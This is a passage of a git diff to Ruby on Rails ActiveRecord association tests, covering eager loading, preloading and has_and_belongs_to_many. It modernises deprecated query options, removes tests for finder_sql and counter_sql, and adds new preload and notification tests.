assert_nothing_raised do
- ActiveSupport::Deprecation.silence do
- Comment.all.merge!(:includes => :post, :where => ['posts.id = ?',4]).to_a
- end
+ Comment.includes(:post).references(:posts).where('posts.id = ?', 4)
end
end
@@ -351,7 +377,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
comments = Comment.all.merge!(:includes => :post, :where => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id').to_a
end
assert_equal 3, comments.length
- assert_equal [5,6,7], comments.collect { |c| c.id }
+ assert_equal [5,6,7], comments.collect(&:id)
assert_no_queries do
comments.first.post
end
@@ -360,9 +386,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
assert_nothing_raised do
- ActiveSupport::Deprecation.silence do
- Comment.all.merge!(:includes => :post, :where => ["#{quoted_posts_id} = ?",4]).to_a
- end
+ Comment.includes(:post).references(:posts).where("#{quoted_posts_id} = ?", 4)
end
end
@@ -375,22 +399,20 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
assert_nothing_raised do
- ActiveSupport::Deprecation.silence do
- Comment.all.merge!(:includes => :post, :order => quoted_posts_id).to_a
- end
+ Comment.includes(:post).references(:posts).order(quoted_posts_id)
end
end
def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :order => 'posts.id').to_a
assert_equal 1, posts.length
- assert_equal [1], posts.collect { |p| p.id }
+ assert_equal [1], posts.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id').to_a
assert_equal 1, posts.length
- assert_equal [2], posts.collect { |p| p.id }
+ assert_equal [2], posts.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
@@ -405,19 +427,19 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_load_has_one_quotes_table_and_column_names
- michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael))
+ michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael).id)
references(:michael_unicyclist)
assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
end
def test_eager_load_has_many_quotes_table_and_column_names
- michael = Person.all.merge!(:includes => :references).find(people(:michael))
+ michael = Person.all.merge!(:includes => :references).find(people(:michael).id)
references(:michael_magician,:michael_unicyclist)
assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
end
def test_eager_load_has_many_through_quotes_table_and_column_names
- michael = Person.all.merge!(:includes => :jobs).find(people(:michael))
+ michael = Person.all.merge!(:includes => :jobs).find(people(:michael).id)
jobs(:magician, :unicyclist)
assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
end
@@ -461,7 +483,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
posts_with_comments = people(:michael).posts.merge(:includes => :comments, :order => 'posts.id').to_a
posts_with_author = people(:michael).posts.merge(:includes => :author, :order => 'posts.id').to_a
posts_with_comments_and_author = people(:michael).posts.merge(:includes => [ :comments, :author ], :order => 'posts.id').to_a
- assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum += post.comments.size }
+ assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum + post.comments.size }
assert_equal authors(:david), assert_no_queries { posts_with_author.first.author }
assert_equal authors(:david), assert_no_queries { posts_with_comments_and_author.first.author }
end
@@ -481,8 +503,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
- author = Author.all.merge!(:includes => :special_nonexistant_post_comments, :order => 'authors.id').first
- assert_equal [], author.special_nonexistant_post_comments
+ author = Author.all.merge!(:includes => :special_nonexistent_post_comments, :order => 'authors.id').first
+ assert_equal [], author.special_nonexistent_post_comments
end
def test_eager_with_has_many_through_join_model_with_conditions
@@ -517,39 +539,27 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_with_has_many_and_limit
posts = Post.all.merge!(:order => 'posts.id asc', :includes => [ :author, :comments ], :limit => 2).to_a
assert_equal 2, posts.size
- assert_equal 3, posts.inject(0) { |sum, post| sum += post.comments.size }
+ assert_equal 3, posts.inject(0) { |sum, post| sum + post.comments.size }
end
def test_eager_with_has_many_and_limit_and_conditions
- if current_adapter?(:OpenBaseAdapter)
- posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id").to_a
- else
- posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.body = 'hello'", :order => "posts.id").to_a
- end
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.body = 'hello'", :order => "posts.id").to_a
assert_equal 2, posts.size
- assert_equal [4,5], posts.collect { |p| p.id }
+ assert_equal [4,5], posts.collect(&:id)
end
def test_eager_with_has_many_and_limit_and_conditions_array
- if current_adapter?(:OpenBaseAdapter)
- posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id").to_a
- else
- posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "posts.body = ?", 'hello' ], :order => "posts.id").to_a
- end
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "posts.body = ?", 'hello' ], :order => "posts.id").to_a
assert_equal 2, posts.size
- assert_equal [4,5], posts.collect { |p| p.id }
+ assert_equal [4,5], posts.collect(&:id)
end
def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
- posts = ActiveSupport::Deprecation.silence do
- Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "authors.name = ?", 'David' ]).to_a
- end
+ posts = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David')
assert_equal 2, posts.size
- count = ActiveSupport::Deprecation.silence do
- Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
- end
- assert_equal count, posts.size
+ count = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David').count
+ assert_equal posts.size, count
end
def test_eager_with_has_many_and_limit_and_high_offset
@@ -711,16 +721,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_invalid_association_reference
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
Post.all.merge!(:includes=> :monkeys ).find(6)
}
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
Post.all.merge!(:includes=>[ :monkeys ]).find(6)
}
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
Post.all.merge!(:includes=>[ 'monkeys' ]).find(6)
}
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
Post.all.merge!(:includes=>[ :monkeys, :elephants ]).find(6)
}
end
@@ -750,6 +760,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_default_scope_as_block
+ # warm up the habtm cache
+ EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first.projects
developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first
projects = Project.order(:id).to_a
assert_no_queries do
@@ -815,11 +827,15 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_preload_with_interpolation
- post = Post.includes(:comments_with_interpolated_conditions).find(posts(:welcome).id)
- assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
+ assert_deprecated do
+ post = Post.includes(:comments_with_interpolated_conditions).find(posts(:welcome).id)
+ assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
+ end
- post = Post.joins(:comments_with_interpolated_conditions).find(posts(:welcome).id)
- assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
+ assert_deprecated do
+ post = Post.joins(:comments_with_interpolated_conditions).find(posts(:welcome).id)
+ assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
+ end
end
def test_polymorphic_type_condition
@@ -896,6 +912,12 @@ class EagerAssociationTest < ActiveRecord::TestCase
assert_no_queries {assert_equal posts(:sti_comments), comment.post}
end
+ def test_eager_association_with_scope_with_joins
+ assert_nothing_raised do
+ Post.includes(:very_special_comment_with_post_with_joins).to_a
+ end
+ end
+
def test_preconfigured_includes_with_has_many
posts = authors(:david).posts_with_comments
one = posts.detect { |p| p.id == 1 }
@@ -925,13 +947,43 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_count_with_include
- if current_adapter?(:SybaseAdapter)
- assert_equal 3, authors(:david).posts_with_comments.where("len(comments.body) > 15").references(:comments).count
- elsif current_adapter?(:OpenBaseAdapter)
- assert_equal 3, authors(:david).posts_with_comments.where("length(FETCHBLOB(comments.body)) > 15").references(:comments).count
- else
- assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
+ assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
+ end
+
+ def test_association_loading_notification
+ notifications = messages_for('instantiation.active_record') do
+ Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a.size
end
+
+ message = notifications.first
+ payload = message.last
+ count = Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a.size
+
+ # eagerloaded row count should be greater than just developer count
+ assert_operator payload[:record_count], :>, count
+ assert_equal Developer.name, payload[:class_name]
+ end
+
+ def test_base_messages
+ notifications = messages_for('instantiation.active_record') do
+ Developer.all.to_a
+ end
+ message = notifications.first
+ payload = message.last
+
+ assert_equal Developer.all.to_a.count, payload[:record_count]
+ assert_equal Developer.name, payload[:class_name]
+ end
+
+ def messages_for(name)
+ notifications = []
+ ActiveSupport::Notifications.subscribe(name) do |*args|
+ notifications << args
+ end
+ yield
+ notifications
+ ensure
+ ActiveSupport::Notifications.unsubscribe(name)
end
def test_load_with_sti_sharing_association
@@ -1139,6 +1191,10 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_deep_including_through_habtm
+ # warm up habtm cache
+ posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
+ posts[0].categories[0].categorizations.length
+
posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
@@ -1161,4 +1217,138 @@ class EagerAssociationTest < ActiveRecord::TestCase
Post.where('1 = 0').scoping { Comment.preload(:post).find(1).post }
)
end
+
+ test "deep preload" do
+ post = Post.preload(author: :posts, comments: :post).first
+
+ assert_predicate post.author.association(:posts), :loaded?
+ assert_predicate post.comments.first.association(:post), :loaded?
+ end
+
+ test "preloading does not cache has many association subset when preloaded with a through association" do
+ author = Author.includes(:comments_with_order_and_conditions, :posts).first
+ assert_no_queries { assert_equal 2, author.comments_with_order_and_conditions.size }
+ assert_no_queries { assert_equal 5, author.posts.size, "should not cache a subset of the association" }
+ end
+
+ test "preloading a through association twice does not reset it" do
+ members = Member.includes(current_membership: :club).includes(:club).to_a
+ assert_no_queries {
+ assert_equal 3, members.map(&:current_membership).map(&:club).size
+ }
+ end
+
+ test "works in combination with order(:symbol) and reorder(:symbol)" do
+ author = Author.includes(:posts).references(:posts).order(:name).find_by('posts.title IS NOT NULL')
+ assert_equal authors(:bob), author
+
+ author = Author.includes(:posts).references(:posts).reorder(:name).find_by('posts.title IS NOT NULL')
+ assert_equal authors(:bob), author
+ end
+
+ test "preloading with a polymorphic association and using the existential predicate but also using a select" do
+ assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+ assert_nothing_raised do
+ authors(:david).essays.includes(:writer).select(:name).any?
+ end
+ end
+
+ test "preloading the same association twice works" do
+ Member.create!
+ members = Member.preload(:current_membership).includes(current_membership: :club).all.to_a
+ assert_no_queries {
+ members_with_membership = members.select(&:current_membership)
+ assert_equal 3, members_with_membership.map(&:current_membership).map(&:club).size
+ }
+ end
+
+ test "preloading with a polymorphic association and using the existential predicate" do
+ assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+ assert_nothing_raised do
+ authors(:david).essays.includes(:writer).any?
+ end
+ end
+
+ test "preloading associations with string joins and order references" do
+ author = assert_queries(2) {
+ Author.includes(:posts).joins("LEFT JOIN posts ON posts.author_id = authors.id").order("posts.title DESC").first
+ }
+ assert_no_queries {
+ assert_equal 5, author.posts.size
+ }
+ end
+
+ test "including associations with where.not adds implicit references" do
+ author = assert_queries(2) {
+ Author.includes(:posts).where.not(posts: { title: 'Welcome to the weblog'} ).last
+ }
+
+ assert_no_queries {
+ assert_equal 2, author.posts.size
+ }
+ end
+
+ test "including association based on sql condition and no database column" do
+ assert_equal pets(:parrot), Owner.including_last_pet.first.last_pet
+ end
+
+ test "include instance dependent associations is deprecated" do
+ message = "association scope 'posts_with_signature' is"
+ assert_deprecated message do
+ begin
+ Author.includes(:posts_with_signature).to_a
+ rescue NoMethodError
+ # it's expected that preloading of this association fails
+ end
+ end
+
+ assert_deprecated message do
+ Author.preload(:posts_with_signature).to_a rescue NoMethodError
+ end
+
+ assert_deprecated message do
+ Author.eager_load(:posts_with_signature).to_a
+ end
+ end
+
+ test "preloading readonly association" do
+ # has-one
+ firm = Firm.where(id: "1").preload(:readonly_account).first!
+ assert firm.readonly_account.readonly?
+
+ # has_and_belongs_to_many
+ project = Project.where(id: "2").preload(:readonly_developers).first!
+ assert project.readonly_developers.first.readonly?
+
+ # has-many :through
+ david = Author.where(id: "1").preload(:readonly_comments).first!
+ assert david.readonly_comments.first.readonly?
+ end
+
+ test "eager-loading readonly association" do
+ skip "eager_load does not yet preserve readonly associations"
+ # has-one
+ firm = Firm.where(id: "1").eager_load(:readonly_account).first!
+ assert firm.readonly_account.readonly?
+
+ # has_and_belongs_to_many
+ project = Project.where(id: "2").eager_load(:readonly_developers).first!
+ assert project.readonly_developers.first.readonly?
+
+ # has-many :through
+ david = Author.where(id: "1").eager_load(:readonly_comments).first!
+ assert david.readonly_comments.first.readonly?
+ end
+
+ test "preloading a polymorphic association with references to the associated table" do
+ post = Post.includes(:tags).references(:tags).where('tags.name = ?', 'General').first
+ assert_equal posts(:welcome), post
+ end
+
+ test "eager-loading a polymorphic association with references to the associated table" do
+ post = Post.eager_load(:tags).where('tags.name = ?', 'General').first
+ assert_equal posts(:welcome), post
+ end
end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index da767a2a7e..9d373cd73b 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -3,6 +3,7 @@ require 'models/post'
require 'models/comment'
require 'models/project'
require 'models/developer'
+require 'models/computer'
require 'models/company_in_module'
class AssociationsExtensionsTest < ActiveRecord::TestCase
@@ -59,9 +60,11 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
end
def test_extension_name
- assert_equal 'DeveloperAssociationNameAssociationExtension', extension_name(Developer)
- assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
- assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
+ extend!(Developer)
+ extend!(MyApplication::Business::Developer)
+
+ assert Object.const_get 'DeveloperAssociationNameAssociationExtension'
+ assert MyApplication::Business.const_get 'DeveloperAssociationNameAssociationExtension'
end
def test_proxy_association_after_scoped
@@ -72,9 +75,8 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
private
- def extension_name(model)
+ def extend!(model)
builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, nil, {}) { }
- builder.send(:wrap_block_extension)
- builder.extension_module.name
+ builder.define_extensions(model)
end
end
diff --git a/activerecord/test/cases/associations/habtm_join_table_test.rb b/activerecord/test/cases/associations/habtm_join_table_test.rb
deleted file mode 100644
index fe2b82f2c1..0000000000
--- a/activerecord/test/cases/associations/habtm_join_table_test.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'cases/helper'
-
-class MyReader < ActiveRecord::Base
- has_and_belongs_to_many :my_books
-end
-
-class MyBook < ActiveRecord::Base
- has_and_belongs_to_many :my_readers
-end
-
-class HabtmJoinTableTest < ActiveRecord::TestCase
- def setup
- ActiveRecord::Base.connection.create_table :my_books, :force => true do |t|
- t.string :name
- end
- assert ActiveRecord::Base.connection.table_exists?(:my_books)
-
- ActiveRecord::Base.connection.create_table :my_readers, :force => true do |t|
- t.string :name
- end
- assert ActiveRecord::Base.connection.table_exists?(:my_readers)
-
- ActiveRecord::Base.connection.create_table :my_books_my_readers, :force => true do |t|
- t.integer :my_book_id
- t.integer :my_reader_id
- end
- assert ActiveRecord::Base.connection.table_exists?(:my_books_my_readers)
- end
-
- def teardown
- ActiveRecord::Base.connection.drop_table :my_books
- ActiveRecord::Base.connection.drop_table :my_readers
- ActiveRecord::Base.connection.drop_table :my_books_my_readers
- end
-end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index 1b1b479f1a..aea9207bfe 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/company'
require 'models/customer'
@@ -11,6 +12,7 @@ require 'models/author'
require 'models/tag'
require 'models/tagging'
require 'models/parrot'
+require 'models/person'
require 'models/pirate'
require 'models/treasure'
require 'models/price_estimate'
@@ -20,6 +22,10 @@ require 'models/membership'
require 'models/sponsor'
require 'models/country'
require 'models/treaty'
+require 'models/vertex'
+require 'models/publisher'
+require 'models/publisher/article'
+require 'models/publisher/magazine'
require 'active_support/core_ext/string/conversions'
class ProjectWithAfterCreateHook < ActiveRecord::Base
@@ -65,22 +71,21 @@ class DeveloperWithSymbolsForKeys < ActiveRecord::Base
:foreign_key => "developer_id"
end
-class DeveloperWithCounterSQL < ActiveRecord::Base
+class SubDeveloper < Developer
self.table_name = 'developers'
+ has_and_belongs_to_many :special_projects,
+ :join_table => 'developers_projects',
+ :foreign_key => "project_id",
+ :association_foreign_key => "developer_id"
+end
- ActiveSupport::Deprecation.silence do
- has_and_belongs_to_many :projects,
- :class_name => "DeveloperWithCounterSQL",
- :join_table => "developers_projects",
- :association_foreign_key => "project_id",
- :foreign_key => "developer_id",
- :counter_sql => proc { "SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}" }
- end
+class DeveloperWithSymbolClassName < Developer
+ has_and_belongs_to_many :projects, class_name: :ProjectWithSymbolsForKeys
end
class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
- :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings
+ :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings, :computers
def setup_data_for_habtm_case
ActiveRecord::Base.connection.execute('delete from countries_treaties')
@@ -94,6 +99,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
country.treaties << treaty
end
+ def test_marshal_dump
+ post = posts :welcome
+ preloaded = Post.includes(:categories).find post.id
+ assert_equal preloaded, Marshal.load(Marshal.dump(preloaded))
+ end
+
def test_should_property_quote_string_primary_keys
setup_data_for_habtm_case
@@ -228,9 +239,27 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
end
+ def test_habtm_collection_size_from_build
+ devel = Developer.create("name" => "Fred Wu")
+ devel.projects << Project.create("name" => "Grimetime")
+ devel.projects.build
+
+ assert_equal 2, devel.projects.size
+ end
+
+ def test_habtm_collection_size_from_params
+ devel = Developer.new({
+ projects_attributes: {
+ '0' => {}
+ }
+ })
+
+ assert_equal 1, devel.projects.size
+ end
+
def test_build
devel = Developer.find(1)
- proj = assert_no_queries { devel.projects.build("name" => "Projekt") }
+ proj = assert_no_queries(ignore_none: false) { devel.projects.build("name" => "Projekt") }
assert !devel.projects.loaded?
assert_equal devel.projects.last, proj
@@ -245,7 +274,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
def test_new_aliased_to_build
devel = Developer.find(1)
- proj = assert_no_queries { devel.projects.new("name" => "Projekt") }
+ proj = assert_no_queries(ignore_none: false) { devel.projects.new("name" => "Projekt") }
assert !devel.projects.loaded?
assert_equal devel.projects.last, proj
@@ -316,7 +345,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
dev.projects << projects(:active_record)
assert_equal 3, dev.projects.size
- assert_equal 1, dev.projects.uniq.size
+ assert_equal 1, dev.projects.distinct.size
end
def test_uniq_before_the_fact
@@ -364,31 +393,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal 0, david.projects(true).size
end
- def test_deleting_with_sql
- david = Developer.find(1)
- active_record = Project.find(1)
- active_record.developers.reload
- assert_equal 3, active_record.developers_by_sql.size
-
- active_record.developers_by_sql.delete(david)
- assert_equal 2, active_record.developers_by_sql(true).size
- end
-
- def test_deleting_array_with_sql
- active_record = Project.find(1)
- active_record.developers.reload
- assert_equal 3, active_record.developers_by_sql.size
-
- active_record.developers_by_sql.delete(Developer.all)
- assert_equal 0, active_record.developers_by_sql(true).size
- end
-
- def test_deleting_all_with_sql
- project = Project.find(1)
- project.developers_by_sql.delete_all
- assert_equal 0, project.developers_by_sql.size
- end
-
def test_deleting_all
david = Developer.find(1)
david.projects.reload
@@ -475,13 +479,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert george.treasures(true).empty?
end
- def test_deprecated_push_with_attributes_was_removed
- jamis = developers(:jamis)
- assert_raise(NoMethodError) do
- jamis.projects.push_with_attributes(projects(:action_controller), :joined_on => Date.today)
- end
- end
-
def test_associations_with_conditions
assert_equal 3, projects(:active_record).developers.size
assert_equal 1, projects(:active_record).developers_named_david.size
@@ -511,7 +508,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
developer = project.developers.first
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert project.developers.loaded?
assert project.developers.include?(developer)
end
@@ -537,25 +534,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert ! project.developers.include?(developer)
end
- def test_find_in_association_with_custom_finder_sql
- assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id), "SQL find"
-
- active_record = projects(:active_record)
- active_record.developers_with_finder_sql.reload
- assert_equal developers(:david), active_record.developers_with_finder_sql.find(developers(:david).id), "Ruby find"
- end
-
- def test_find_in_association_with_custom_finder_sql_and_multiple_interpolations
- # interpolate once:
- assert_equal [developers(:david), developers(:jamis), developers(:poor_jamis)], projects(:active_record).developers_with_finder_sql, "first interpolation"
- # interpolate again, for a different project id
- assert_equal [developers(:david)], projects(:action_controller).developers_with_finder_sql, "second interpolation"
- end
-
- def test_find_in_association_with_custom_finder_sql_and_string_id
- assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id.to_s), "SQL find"
- end
-
def test_find_with_merged_options
assert_equal 1, projects(:active_record).limited_developers.size
assert_equal 1, projects(:active_record).limited_developers.to_a.size
@@ -570,14 +548,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal high_id_jamis, projects(:active_record).developers.find_by_name('Jamis')
end
- def test_find_should_prepend_to_association_order
+ def test_find_should_append_to_association_order
ordered_developers = projects(:active_record).developers.order('projects.id')
- assert_equal ['projects.id', 'developers.name desc, developers.id desc'], ordered_developers.order_values
+ assert_equal ['developers.name desc, developers.id desc', 'projects.id'], ordered_developers.order_values
end
def test_dynamic_find_all_should_respect_readonly_access
projects(:active_record).readonly_developers.each { |d| assert_raise(ActiveRecord::ReadOnlyRecord) { d.save! } if d.valid?}
- projects(:active_record).readonly_developers.each { |d| d.readonly? }
+ projects(:active_record).readonly_developers.each(&:readonly?)
end
def test_new_with_values_in_collection
@@ -634,6 +612,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert !developer.special_projects.include?(other_project)
end
+ def test_symbol_join_table
+ developer = Developer.first
+ sp = developer.sym_special_projects.create("name" => "omg")
+ developer.reload
+ assert_includes developer.sym_special_projects, sp
+ end
+
def test_update_attributes_after_push_without_duplicate_join_table_rows
developer = Developer.new("name" => "Kano")
project = SpecialProject.create("name" => "Special Project")
@@ -669,16 +654,24 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
def test_join_table_alias
+ # FIXME: `references` has no impact on the aliases generated for the join
+ # query. The fact that we pass `:developers_projects_join` to `references`
+ # and that the SQL string contains `developers_projects_join` is merely a
+ # coincidence.
assert_equal(
3,
Developer.references(:developers_projects_join).merge(
:includes => {:projects => :developers},
- :where => 'developers_projects_join.joined_on IS NOT NULL'
+ :where => 'projects_developers_projects_join.joined_on IS NOT NULL'
).to_a.size
)
end
def test_join_with_group
+ # FIXME: `references` has no impact on the aliases generated for the join
+ # query. The fact that we pass `:developers_projects_join` to `references`
+ # and that the SQL string contains `developers_projects_join` is merely a
+ # coincidence.
group = Developer.columns.inject([]) do |g, c|
g << "developers.#{c.name}"
g << "developers_projects_2.#{c.name}"
@@ -688,7 +681,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal(
3,
Developer.references(:developers_projects_join).merge(
- :includes => {:projects => :developers}, :where => 'developers_projects_join.joined_on IS NOT NULL',
+ :includes => {:projects => :developers}, :where => 'projects_developers_projects_join.joined_on IS NOT NULL',
:group => group.join(",")
).to_a.size
)
@@ -702,12 +695,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
def test_find_scoped_grouped
- assert_equal 5, categories(:general).posts_grouped_by_title.size
- assert_equal 1, categories(:technology).posts_grouped_by_title.size
+ assert_equal 5, categories(:general).posts_grouped_by_title.to_a.size
+ assert_equal 1, categories(:technology).posts_grouped_by_title.to_a.size
end
def test_find_scoped_grouped_having
- assert_equal 2, projects(:active_record).well_payed_salary_groups.size
+ assert_equal 2, projects(:active_record).well_payed_salary_groups.to_a.size
assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
end
@@ -774,12 +767,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal project, developer.projects.first
end
- def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
- assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
- SelfMember.new.friends
- }
- end
-
def test_dynamic_find_should_respect_association_include
# SQL error in sort clause if :include is not included
# due to Unknown column 'authors.id'
@@ -791,21 +778,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal 2, david.projects.count
end
- def test_count_with_counter_sql
- developer = DeveloperWithCounterSQL.create(:name => 'tekin')
- developer.project_ids = [projects(:active_record).id]
- developer.save
- developer.reload
- assert_equal 1, developer.projects.count
- end
-
- unless current_adapter?(:PostgreSQLAdapter)
- def test_count_with_finder_sql
- assert_equal 3, projects(:active_record).developers_with_finder_sql.count
- assert_equal 3, projects(:active_record).developers_with_multiline_finder_sql.count
- end
- end
-
def test_association_proxy_transaction_method_starts_transaction_in_association_class
Post.expects(:transaction)
Category.first.posts.transaction do
@@ -845,21 +817,19 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert project.developers.include?(developer)
end
- test ":insert_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- def klass.name; 'Foo'; end
- assert_deprecated { klass.has_and_belongs_to_many :posts, :insert_sql => 'lol' }
- end
-
- test ":delete_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- def klass.name; 'Foo'; end
- assert_deprecated { klass.has_and_belongs_to_many :posts, :delete_sql => 'lol' }
+ def test_destruction_does_not_error_without_primary_key
+ redbeard = pirates(:redbeard)
+ george = parrots(:george)
+ redbeard.parrots << george
+ assert_equal 2, george.pirates.count
+ Pirate.includes(:parrots).where(parrot: redbeard.parrot).find(redbeard.id).destroy
+ assert_equal 1, george.pirates.count
+ assert_equal [], Pirate.where(id: redbeard.id)
end
- test "has and belongs to many associations on new records use null relations" do
+ def test_has_and_belongs_to_many_associations_on_new_records_use_null_relations
projects = Developer.new.projects
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal [], projects
assert_equal [], projects.where(title: 'omg')
assert_equal [], projects.pluck(:title)
